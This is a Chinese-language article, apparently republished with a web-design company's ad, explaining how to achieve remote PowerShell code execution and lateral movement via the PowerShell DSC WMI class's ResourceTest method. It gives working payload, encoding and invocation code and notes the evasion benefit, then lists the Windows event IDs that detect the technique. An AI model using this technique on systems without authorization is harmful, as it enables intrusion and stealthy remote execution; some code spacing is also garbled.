這篇文章主要為大家展示了“怎么通過PowerShell DSC進行橫向滲透”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“怎么通過PowerShell DSC進行橫向滲透”這篇文章吧。
成都創(chuàng)新互聯(lián)公司從2013年成立,是專業(yè)互聯(lián)網(wǎng)技術(shù)服務(wù)公司,擁有項目成都做網(wǎng)站、網(wǎng)站制作、成都外貿(mào)網(wǎng)站建設(shè)網(wǎng)站策劃,項目實施與項目整合能力。我們以讓每一個夢想脫穎而出為使命,1280元荔浦做網(wǎng)站,已為上家服務(wù),為荔浦各地企業(yè)和個人服務(wù),聯(lián)系電話:18980820575
PowerShell期望狀態(tài)配置(DSC)允許需要執(zhí)行的資源直接使用WMI,在DSC WMI類的幫助下,我們可以通過濫用內(nèi)置腳本資源來實現(xiàn)PowerShell代碼的遠程執(zhí)行。
這樣的橫向滲透技術(shù)有如下幾點好處:
1.PowerShell將在WMI服務(wù)-wmiprvse.exe環(huán)境下執(zhí)行,從躲避檢測的角度來說這是一個優(yōu)勢。
2.Payload的每一個組件都跟WMI有關(guān)系。
3.無需配置DSC服務(wù)。
1.ResourceTest方法必須在MSFT_DSCLocalConfigurationManager這個WMI類中,該類需位于root/Microsoft/Windows/DesiredStateConfiguration命名空間中。注意:攻擊者還可以選擇調(diào)用ResourceGet或ResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,所以這項技術(shù)并不適用于全部主機。
2.默認情況下,如果你要遠程調(diào)用WMI方法,你需要擁有管理員憑證。WMI的安全是通過DCOM或WSMan安全設(shè)置來實現(xiàn)的,在建立遠程連接時,WMI是通過目標命名空間的安全描述符實現(xiàn)的(root/Microsoft/Windows/DesiredStateConfiguration)。
第一步就是準備Payload如何執(zhí)行。你需要在目標主機上執(zhí)行的PowerShell代碼需要是MOF格式的,下面給出的是一份Payload樣本:
$MOFContents= @'instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref{ ResourceID ="[Script]ScriptExample"; GetScript = "\"$(Get-Date): Iam being GET\" | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True"; TestScript = "\"$(Get-Date): Iam being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append;return $True"; SetScript = "\"$(Get-Date): Iam being SET\" | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True"; SourceInfo = "::3::5::Script"; ModuleName = "PsDesiredStateConfiguration"; ModuleVersion = "1.0"; ConfigurationName ="ScriptTest";};instance of OMI_ConfigurationDocument{ Version="2.0.0"; MinimumCompatibleVersion ="1.0.0"; CompatibleVersionAdditionalProperties={"Omi_BaseResource:ConfigurationName"}; Author="TestUser"; GenerationDate="02/26/201807:09:21"; GenerationHost="TestHost"; Name="ScriptTest";};'@
這里,唯一需要修改的就是PowerShell Payload。在我們的樣例中,我們將調(diào)用ResourceTest方法,該方法會返回上面的“TestScript”屬性。需要注意的是,特殊字符需要轉(zhuǎn)義處理。
下一步就是把MOF轉(zhuǎn)換成二進制形式,這種數(shù)據(jù)形式也是ResourceTest方法要求的:
#Change this to false if you want to test the payload locally$ExecuteRemotely= $True$NormalizedMOFContents= [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))$NormalizedMOFBytes= [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)$TotalSize= [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)if($ExecuteRemotely) { # Prepend the length of the payload [Byte[]] $MOFBytes = $TotalSize +$NormalizedMOFBytes}else { # If executing locally, you do notprepend the payload length [Byte[]] $MOFBytes = $NormalizedMOFBytes}
在上述樣例中,如果你想在本地測試你的Payload,請不要在Byte數(shù)組中添加Payload長度。Payload正確編碼之后,剩下的就是在目標主機上執(zhí)行Payload了。
#Specify the credentials of your target$Credential= Get-Credential -Credential TempUser$ComputerName= 'TargetHost'#Establish a remote WMI session with the target system$RemoteCIMSession= New-CimSession -ComputerName $ComputerName -Credential $Credential$LCMClass= Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration-ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSessionif($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) { # You may now proceed with lateralmovement $MethodArgs = @{ ModuleName ='PSDesiredStateConfiguration' ResourceType = 'MSFT_ScriptResource' resourceProperty= $MOFBytes } $Arguments = @{ Namespace ='root/Microsoft/Windows/DesiredStateConfiguration' ClassName = 'MSFT_DSCLocalConfigurationManager' MethodName= 'ResourceTest' Arguments = $MethodArgs CimSession= $RemoteCIMSession } # Invoke the DSC script resource Testmethod # Successful execution will be indicatedby "InDesiredState" returning True and ReturnValue returning 0. Invoke-CimMethod @Arguments}else { Write-Warning 'The DSC lateral movementmethod is not available on the remote system.'}
在上面的例子中,大家請注意,我首先驗證了遠程類和方法的優(yōu)先級。在使用WMI技術(shù)時,我們建議大家首先驗證遠程類和方法的優(yōu)先級。
接下來,代碼會將Payload下載到目標主機的磁盤中。如果你想要使用WMI來遠程獲取文件內(nèi)容,你可以配合使用【這項技術(shù)】。除此之外,我這里還使用了CIM cmdlet,這個功能是在PowerShell v3中引入的,如果你需要適用v2版本的話,你還可以使用舊版本的WMI cmdlet。
幸運的是,我們可以通過檢查事件日志來發(fā)現(xiàn)這種攻擊活動,并進行及時檢測。
EventID: 53504
“PowerShell Named Pipe IPC”事件表明PowerShell AppDomain已啟用。當DSC執(zhí)行腳本資源時,這個事件會自動捕捉“DscPsPluginWkr_AppDomain”。而AppDomain對于一次DSC執(zhí)行來說是唯一的,下面是一個事件樣例:
Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain:DscPsPluginWkr_AppDomain.
EventID: 400
在正常的PowerShell日志中,事件ID 400表明一個新的PowerShell主機進程被創(chuàng)建。當DSC腳本資源執(zhí)行時,它會生成一個唯一的事件日志條目,并對其進行簽名。下面是一個樣例(引擎狀態(tài)從NONE轉(zhuǎn)換成了Available):
Details: NewEngineState=Available PreviousEngineState=None SequenceNumber=13 HostName=Default Host HostVersion=5.1.17134.81 HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d HostApplication=C:\Windows\system32\wbem\wmiprvse.exe EngineVersion=5.1.17134.81 RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906 PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine=
EventID: 4102
當一個DSC資源被發(fā)送至目標主機之后,系統(tǒng)會響應(yīng)這個事件。如果目標主機存在于一個計算機域中,那么系統(tǒng)會返回執(zhí)行這個DSC資源的用戶SID以及源主機信息。下面是事件樣本信息:
Job{893F64B5-ABBF-11E8-B005-D336977413FC} :OperationInvoke-DscResource started by user sidS-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.
以上是“怎么通過PowerShell DSC進行橫向滲透”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!